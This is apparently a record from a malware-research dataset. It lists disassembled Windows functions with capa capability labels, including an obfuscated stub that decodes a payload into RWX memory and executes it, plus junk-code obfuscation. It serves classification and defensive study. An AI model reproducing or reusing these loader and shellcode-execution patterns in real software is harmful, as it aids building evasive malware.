joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100295a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004c628
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
cmp dword [ebp + 0x20], 0x10
mov eax, dword [ebp + 0xc]
jae 0x100295ef
lea eax, [ebp + 0xc]
push 0x10053428
push eax
call fcn.10035815
mov edi, eax
push edi
push 1
lea edx, [ebp - 0x50]
push 4
push edx
mov dword [ebp - 0x50], ebx
call fcn.1003573c
mov eax, dword [ebp - 0x50]
inc eax
push eax
call fcn.10034422
mov ecx, dword [ebp - 0x50]
add esp, 0x1c
inc ecx
push ecx
mov esi, eax
push ebx
push esi
call fcn.10037ff0
mov edx, dword [ebp - 0x50]
push edi
push edx
push 1
push esi
call fcn.1003573c
push edi
call fcn.1003547e
mov edi, 0xf
mov eax, esi
add esp, 0x20
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10029651
sub eax, edx
push eax
push esi
lea ecx, [ebp - 0x30]
call fcn.100028b0
push esi
mov byte [ebp - 4], 2
call fcn.10034ef9
mov eax, dword [ebp - 0x58]
add esp, 4
add eax, 0x61
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x58], esp
push 0xffffffffffffffff
push ebx
lea edx, [ebp - 0x30]
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push edx
mov byte [ecx], bl
call fcn.10002da0
lea eax, [ebp - 0x4c]
push eax
call fcn.10029850
mov edi, eax
lea esi, [ebp - 0x30]
mov byte [ebp - 4], 3
call fcn.100029b0
mov byte [ebp - 4], 2
cmp dword [ebp - 0x38], 0x10
jb 0x100296c1
mov ecx, dword [ebp - 0x4c]
push ecx
call fcn.10032f50
add esp, 4
mov esi, dword [ebp - 0x54]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
lea edi, [ebp - 0x30]
mov byte [esi], bl
call fcn.100029b0
mov esi, 0x10
cmp dword [ebp - 0x1c], esi
jb 0x100296ee
mov edx, dword [ebp - 0x30]
push edx
call fcn.10032f50
add esp, 4
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x30], bl
cmp dword [ebp + 0x20], esi
jb 0x10029729
mov eax, dword [ebp + 0xc]
push eax
call fcn.10032f50
add esp, 4
jmp 0x10029729
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10034eea
mov esp, ebp
pop ebp
ret 0x20
Function at 0x10029940
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004ceb8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov edi, ecx
mov ebx, edx
mov dword [ebp - 4], 0
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
mov esi, 0x10
cmp dword [ebp + 0x1c], esi
jae 0x1002998d
lea eax, [ebp + 8]
push eax
call fcn.100370f3
mov eax, dword [ebp + 8]
add esp, 4
cmp dword [ebp + 0x1c], esi
jae 0x100299a1
lea eax, [ebp + 8]
push 0x10054720
push eax
call fcn.10035815
add esp, 8
add ebx, 0x61
push ebx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x38], esp
push 0xffffffffffffffff
push 0
add edi, 0xec
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push edi
mov esi, eax
mov byte [ecx], 0
call fcn.10002da0
lea eax, [ebp - 0x30]
push eax
call fcn.10029750
mov ecx, dword [ebp - 0x20]
push esi
push 1
lea edx, [ebp - 0x34]
push 4
push edx
mov dword [ebp - 0x34], ecx
call fcn.10035eae
mov eax, dword [ebp - 0x30]
mov edi, 0x10
add esp, 0x10
cmp dword [ebp - 0x1c], edi
jae 0x10029a0e
lea eax, [ebp - 0x30]
mov ecx, dword [ebp - 0x20]
push esi
push ecx
push 1
push eax
call fcn.10035eae
push esi
call fcn.1003547e
add esp, 0x14
cmp dword [ebp - 0x1c], edi
jb 0x10029a35
mov edx, dword [ebp - 0x30]
push edx
call fcn.10032f50
add esp, 4
cmp dword [ebp + 0x1c], edi
jb 0x10029a56
mov eax, dword [ebp + 8]
push eax
call fcn.10032f50
add esp, 4
jmp 0x10029a56
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10034eea
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x10029a80
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004bd17
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x1005d500]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebx], 0x100534d8
mov dword [ebx + 0x68], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], eax
mov ecx, dword [ebx]
mov edx, dword [ecx + 4]
mov dword [ebx + edx], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], eax
mov eax, dword [ebx]
mov edi, dword [eax + 4]
add edi, ebx
mov ecx, edi
mov dword [ebp - 0x10], 1
call fcn.100067f0
lea esi, [ebx + 0x10]
push 0x20
mov ecx, edi
mov dword [edi + 0x38], esi
mov dword [edi + 0x3c], 0
call fcn.10006330
cmp dword [edi + 0x38], 0
mov byte [edi + 0x40], al
jne 0x10029b17
mov eax, dword [edi + 0xc]
or eax, 4
or eax, 4
push 0
push eax
mov ecx, edi
call fcn.100076a0
mov dword [ebp - 4], 2
mov ecx, dword [ebx]
mov edx, dword [ecx + 4]
mov ecx, esi
mov dword [ebx + edx], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
call fcn.100060b0
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x50], 0
mov byte [esi + 0x49], 0
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
xor ecx, ecx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ecx
mov eax, dword [esi + 0x24]
mov dword [eax], ecx
mov edx, dword [esi + 0x34]
mov dword [edx], ecx
mov eax, dword [esi + 0x10]
mov dword [eax], ecx
mov edx, dword [esi + 0x20]
mov dword [edx], ecx
mov eax, dword [esi + 0x30]
mov dword [eax], ecx
mov dword [esi + 0x54], ecx
mov edx, dword [0x1006145c]
mov dword [esi + 0x4c], edx
mov dword [esi + 0x44], ecx
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10029bb0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004bcc7
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x1005d500]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebx], 0x10054a48
mov dword [ebx + 0x60], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov edx, dword [ebx]
mov edi, dword [edx + 4]
add edi, ebx
mov ecx, edi
mov dword [ebp - 0x10], 1
call fcn.100067f0
lea esi, [ebx + 4]
push 0x20
mov ecx, edi
mov dword [edi + 0x38], esi
mov dword [edi + 0x3c], 0
call fcn.10006330
cmp dword [edi + 0x38], 0
mov byte [edi + 0x40], al
jne 0x10029c43
mov eax, dword [edi + 0xc]
or eax, 4
or eax, 4
push 0
push eax
mov ecx, edi
call fcn.100076a0
mov dword [ebp - 4], 2
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
mov dword [ebx + ecx], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov ecx, esi
call fcn.100060b0
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x50], 0
mov byte [esi + 0x49], 0
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
xor ecx, ecx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ecx
mov eax, dword [esi + 0x24]
mov dword [eax], ecx
mov edx, dword [esi + 0x34]
mov dword [edx], ecx
mov eax, dword [esi + 0x10]
mov dword [eax], ecx
mov edx, dword [esi + 0x20]
mov dword [edx], ecx
mov eax, dword [esi + 0x30]
mov dword [eax], ecx
mov dword [esi + 0x54], ecx
mov edx, dword [0x1006145c]
mov dword [esi + 0x4c], edx
mov dword [esi + 0x44], ecx
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1002c9c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1004d540
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x1005d500]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push esi
mov eax, dword [0x1005d500]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov dword [esp + 0x14], vtable.SysService.0
mov dword [esp + 0x38], 0
mov eax, dword [0x10061c90]
mov dword [esp + 0x10], eax
lea edx, [esp + 0x10]
mov eax, 0x1005fbb4
call fcn.10032620
mov esi, dword [eax]
cmp dword [esi + 0xc], 8
mov ebx, 1
je 0x1002ca7c
mov dword [esp + 0x10], vtable.AdInfoService.0
mov ecx, esi
mov byte [esp + 0x38], bl
call fcn.10009970
test al, al
jne 0x1002ca69
cmp dword [esi + 0x160], 0
ja 0x1002ca69
cmp dword [esi + 0x10], 6
je 0x1002ca71
mov ecx, dword [esi + 0x54]
sub ecx, dword [esi + 0x50]
mov eax, 0x38e38e39
imul ecx
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
je 0x1002ca71
add dword [0x100a1db0], ebx
jmp 0x1002ca77
add dword [0x100a1dac], ebx
mov byte [esp + 0x38], 0
mov edx, dword [0x100a1db0]
cmp edx, dword [0x100a1dcc]
jl 0x1002ca90
push ebx
call fcn.1002cb70
mov eax, dword [0x100a1dac]
cmp eax, dword [0x100a1dc8]
jl 0x1002caa4
push 0
call fcn.1002cb70
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [esp + 0x1e]
movzx eax, word [esp + 0x1a]
movzx ecx, word [esp + 0x18]
push edx
call fcn.1002fed0
movzx ecx, word [esp + 0x20]
lea eax, [eax + eax*2 - 0x6fb8a4]
lea eax, [ecx + eax*8]
mov edx, eax
shl edx, 4
sub edx, eax
movzx eax, word [esp + 0x22]
add dword [esi + 0x18], ebx
lea eax, [eax + edx*4]
movzx edx, word [esp + 0x24]
mov ecx, eax
shl ecx, 4
sub ecx, eax
lea eax, [edx + ecx*4]
movzx ecx, word [esp + 0x26]
imul eax, eax, 0x3e8
add eax, ecx
push 0x100a2010
mov dword [esi + 0x44], eax
call fcn.100039d0
mov edx, dword [0x10061c90]
mov dword [0x100a1db4], edx
mov eax, dword [esi + 0x44]
add dword [0x100a1da8], ebx
mov esi, 0x10061c20
mov dword [0x100a1da4], eax
call fcn.1001ed60
push 0x100a202c
mov ebx, 0x100a1d90
call fcn.10024ef0
mov eax, 9
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x1c]
xor ecx, esp
call fcn.10034eea
mov esp, ebp
pop ebp
ret
Function at 0x1002fb30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
push esi
mov dword [ebp - 0xc], 0xf
mov dword [ebp - 0x10], 0
mov byte [ebp - 0x20], 0
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1002fb58
sub eax, esi
push eax
push ecx
lea ecx, [ebp - 0x20]
call fcn.100028b0
push 0x44
lea eax, [ebp - 0x74]
push 0
push eax
call fcn.10037ff0
xor eax, eax
add esp, 0xc
cmp dword [ebp - 0xc], 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x74], 0x44
jae 0x1002fb9c
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x30]
push ecx
lea edx, [ebp - 0x74]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1002fbe7
cmp byte [ebp + 8], al
jne 0x1002fbe7
cmp dword [ebp - 0xc], 0x10
jb 0x1002fbd4
mov eax, dword [ebp - 0x20]
push eax
call fcn.10032f50
add esp, 4
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10034eea
mov esp, ebp
pop ebp
ret 4
cmp dword [ebp - 0xc], 0x10
mov esi, dword [ebp - 0x30]
jb 0x1002fbfc
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.10032f50
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10034eea
mov esp, ebp
pop ebp
ret 4
Function at 0x10031890
Capabilities:
Get disk information

Disassembly:
push esi
push edi
push 0
push 0
push 0
push 0
push 0x10053ea8
push 0
call dword [sym.imp.KERNEL32.dll_SearchPathA]
push str.yklb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0
push str.udhk
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
mov eax, dword [0x10061bd4]
mov esi, dword [eax]
cmp esi, eax
je 0x1003192b
mov eax, dword [esi + 0x10]
push eax
call fcn.10032f50
add esp, 4
cmp byte [esi + 0x15], 0
jne 0x10031922
mov eax, dword [esi + 8]
cmp byte [eax + 0x15], 0
jne 0x10031901
mov esi, eax
mov eax, dword [esi]
cmp byte [eax + 0x15], 0
jne 0x10031922
mov esi, eax
mov eax, dword [esi]
cmp byte [eax + 0x15], 0
je 0x100318f5
jmp 0x10031922
mov eax, dword [esi + 4]
cmp byte [eax + 0x15], 0
jne 0x10031920
lea ebx, [ebx]
cmp esi, dword [eax + 8]
jne 0x10031920
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0x15], 0
je 0x10031910
mov esi, eax
mov eax, dword [0x10061bd4]
cmp esi, eax
jne 0x100318d0
mov edi, dword [eax + 4]
cmp byte [edi + 0x15], 0
mov esi, edi
jne 0x1003195c
mov ecx, dword [esi + 8]
push ecx
mov ecx, 0x10061bd0
call fcn.100326f0
mov esi, dword [esi]
push edi
call fcn.10032f50
add esp, 4
cmp byte [esi + 0x15], 0
mov edi, esi
je 0x10031936
mov eax, dword [0x10061bd4]
mov dword [eax + 4], eax
mov eax, dword [0x10061bd4]
mov dword [eax], eax
mov eax, dword [0x10061bd4]
pop edi
mov dword [eax + 8], eax
mov dword [0x10061bd8], 0
pop esi
ret

Function at 0x10032560
Capabilities:
Read .ini file
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push str.qydml
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionA]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextCharsetInfo]
push 0
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push ebx
mov dword [ebp - 8], 0
push esi
mov esi, dword [edi]
mov ecx, dword [edi + 4]
sub ecx, esi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
xor ebx, ebx
test eax, eax
jle 0x100325f0
mov dword [ebp - 4], ebx
add esi, dword [ebp - 4]
cmp dword [esi + 0x14], 0x10
jb 0x100325c2
mov esi, dword [esi]
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x1003260f
mov esi, dword [edi]
mov ecx, dword [edi + 4]
add dword [ebp - 4], 0x1c
sub ecx, esi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc ebx
add eax, edx
cmp ebx, eax
jl 0x100325b7
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp eax, 1
jl 0x10032594
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100341b7
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x100603b8], 0
push esi
push edi
jne 0x1003412d
call fcn.10034099
test eax, eax
je 0x10034172
mov eax, dword [0x100603b8]
cmp eax, 1
jne 0x1003414e
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x10034172
jmp 0x100341b4
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x100341b4
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x10034176
xor eax, eax
jmp 0x100341b4
mov eax, dword [esi]
push dword [0x100603b8]
call edi
mov edi, eax
test edi, edi
je 0x10034198
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x100341b4
lea edi, [esi + 0xff0]
push esi
push dword [0x100603b8]
call dword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x1003419e
mov eax, esi
pop edi
pop esi
ret
jmp 0x10034119

Function at 0x10034eea
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1005d500]
jne 0x10034ef4
repz ret
jmp fcn.1003ab40

Function at 0x1003702c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x10037053
call fcn.1003a9d2
mov dword [eax], esi
call fcn.1003a9bf
push 0x16
pop esi
mov dword [eax], esi
call fcn.1003b1fc
mov eax, esi
jmp 0x100370a8
test dword [ebp + 0xc], 0xfffffff9
jne 0x10037039
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10037080
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.1003a9e5
pop ecx
call fcn.1003a9bf
mov eax, dword [eax]
jmp 0x100370a8
test al, 0x10
jne 0x100370a6
test al, 1
je 0x100370a6
test byte [ebp + 0xc], 2
je 0x100370a6
call fcn.1003a9d2
mov dword [eax], 5
call fcn.1003a9bf
mov dword [eax], 0xd
jmp 0x10037077
xor eax, eax
pop esi
pop ebp
ret
Function at 0x100473ee
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1005d500]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.100410a8
and dword [ebp - 0x14], 0
cmp dword [0x10061378], 0
mov dword [ebp - 0x18], eax
jne 0x100474a1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10047549
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10047549
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x10061378], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1006137c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10061380], eax
call edi
push eax
call esi
mov dword [0x10061388], eax
test eax, eax
je 0x100474a1
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10061384], eax
mov eax, dword [0x10061384]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x100474fa
cmp dword [0x10061388], ecx
je 0x100474fa
push eax
call esi
push dword [0x10061388]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x100474fa
test ebx, ebx
je 0x100474fa
call edi
test eax, eax
je 0x100474f1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x100474f1
test byte [ebp - 8], 1
jne 0x100474fa
or dword [ebp + 0x10], 0x200000
jmp 0x1004752d
mov eax, dword [0x1006137c]
cmp eax, dword [ebp - 0x18]
je 0x1004752d
push eax
call esi
test eax, eax
je 0x1004752d
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1004752d
mov eax, dword [0x10061380]
cmp eax, dword [ebp - 0x18]
je 0x1004752d
push eax
call esi
test eax, eax
je 0x1004752d
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x10061378]
call esi
test eax, eax
je 0x10047549
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x1004754b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10034eea
leave
ret
Function at 0x406a10
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x407d7f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
mov dword [esp + 8], 0
call sub.MFC42.DLL_CString::CString_1
movsx eax, word [esp + 0x20]
push eax
lea ecx, [esp + 8]
push 0x40ae80
push ecx
push 8
push 1
push 3
push esi
mov dword [esp + 0x30], 1
call sub.MFC42.DLL_COleDispatchDriver::InvokeHelper
mov esi, dword [esp + 0x38]
add esp, 0x1c
lea edx, [esp + 4]
mov ecx, esi
push edx
call sub.MFC42.DLL_CString::CString
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x14], 0
call fcn.00406aac
mov ecx, dword [esp + 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret 8

Function at 0x406e73
Capabilities:
Encode data using xor

Disassembly:
pushal
movsx esi, ax
mov eax, ebp
lea ebx, [0x1d06700b]
inc dl
xchg cl, dl
imul ebx, ebp, 0xdb8a60e3
mov edx, ebx
sbb bh, cl
sbb esi, edi
push 0x3cb3f8
movzx esi, al
call 0x406e73
lea ebx, [0x40e0545e]
sub esi, 0x55e79412
imul esi, ecx, 0xfba2cb2e
sbb ecx, 0xe7d5ece
mov cl, 0xa9
movsx eax, di
xchg cl, ch
sub ebp, 0x4190
mov al, 0xad
imul ebx, eax, 0x7b186dc8
add dl, 0xe0
add ebp, 0xdf3
movsx esi, dh
dec eax
mov edi, 0xfca5c5ed
sub edi, edx
add ecx, esi
jmp 0x406e85
pop ebx
add ch, 0xd4
push 0x3b0475
mov edx, ebp
dec al
movzx ebp, bp
lea ecx, [0x1ea2f610]
or ch, bh
test ah, 0xb6
test ebx, esi
add edx, ebx
inc esi
add cl, 0x22
imul eax, edi
test dh, bl
lea ecx, [0x92884ce]
lea edx, [0xf4c91f67]
push edi
push ecx
xchg ecx, edi
xchg edi, esi
imul ecx, esi, 0x2369d044
sbb al, 9
dec dl
xchg dl, al
sub ah, 0xaa
sbb eax, 0x5fd87728
imul eax, eax
mov ecx, 0x3ec1
cmp edi, 0xc7ed
je 0x406eea
movsx esi, cx
xor ecx, 0x1a2e
imul ebp, ebx
add ecx, 0x534f
imul ebp, esi, 0x8dab853d
xadd ebx, ecx
and al, al
sub ebx, 0x59d
sbb edx, eax
mov esi, 0x7ab8975f
xchg eax, edi
xor dl, ch
xor ecx, 0xe724e65e
imul esi, ebx
imul edx, edx
mov ecx, 0x46abc408
dec edi
push ebx
test ebx, 0x4dfe830d
mov eax, ebx
add cl, 0x6c
mov cl, ch
cmp edi, edx
xor ecx, ecx
inc eax
dec al
imul esi, esi
adc esi, ebp
xchg edx, edi
mov ah, 0x59
lea esi, [0xfaee5c34]
imul edi, edx, 0x11e424e6
test ebp, 0x59a2ab17
lea eax, [0x8dd93cca]
push 0xfff3c4b6
imul edi, edx
imul eax, eax, 0x9542ad5b
invalid
scasd eax, dword es:[edi]
Function at 0x406234
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x406243
pop dword [ebp - 0x20]
mov eax, 0x41931f73
add eax, 0xbead42d0
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0x580bcc73
add dword [ebp - 0x30], 0xf64678d8
mov dword [ebp - 0x2c], 0x4be09db8
add dword [ebp - 0x2c], 0xe652ae8d
mov dword [ebp - 0x28], 0x991d0983
add dword [ebp - 0x28], 0xb32f3aab
mov dword [ebp - 0x24], 0xa1c95cc6
sub dword [ebp - 0x24], 0xa1c95cc6
lea eax, [ebp - 0x30]
push eax
mov eax, 0xaeb7a5b4
add eax, 0x5188db50
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x45e6cdc2
add dword [ebp - 0x30], 0x2e8b9b94
mov dword [ebp - 0x2c], 0xb1c6c10c
sub dword [ebp - 0x2c], 0x705a5f97
mov dword [ebp - 0x28], 0x6cfd7445
add dword [ebp - 0x28], 0xf671f827
mov dword [ebp - 0x24], 0xa3cd9b2c
sub dword [ebp - 0x24], 0xa3cd9b2c
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0xf9533b30
sub eax, 0xf912ba30
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x385f3
push 0
call eax
mov ecx, 0xce63c8d0
sub ecx, 0xce637b6b
mov edi, eax
mov edx, 0x1181161f
sub edx, 0x113a321f
add edx, dword [ebp - 0x20]
mov esi, 0xaf514e54
sub dword [ebp - 4], 0x23ff830e
mov ebx, dword [edx]
xor dword [ebp - 8], 0x78ee30e4
sub ebx, esi
add dword [ebp - 0xc], 0x52bb313a
mov dword [edi], ebx
add dword [ebp - 4], edx
add edi, 0x1314de2a
sub edi, 0x1314de26
add edx, 0xbecd5106
sub edx, 0xbecd5102
loop 0x40635f
add eax, 0xeb77ffc9
add eax, 0x1489289e
xor ebx, ebx
add ebx, eax
add eax, 0x8b90513c
sub eax, 0x8b905137
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x40669d
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x427dcc], 0
push esi
jne 0x4066d4
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x4066ae
mov dword [ecx*4 + 0x427dc8], eax
inc ecx
cmp ecx, 0x100
jl 0x4066a9
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406705
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x427dc8]
xor eax, esi
inc ecx
dec edx
jne 0x4066e7
pop edi
not eax
pop esi
ret 0xc

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
